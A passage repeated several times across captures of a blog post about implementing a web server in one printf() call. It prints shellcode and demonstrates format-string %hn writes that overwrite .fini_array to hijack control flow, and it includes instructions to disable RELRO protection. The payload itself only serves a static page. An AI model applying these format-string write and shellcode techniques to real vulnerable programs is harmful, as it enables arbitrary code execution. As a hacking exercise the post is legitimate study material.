overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23490#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23737#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); 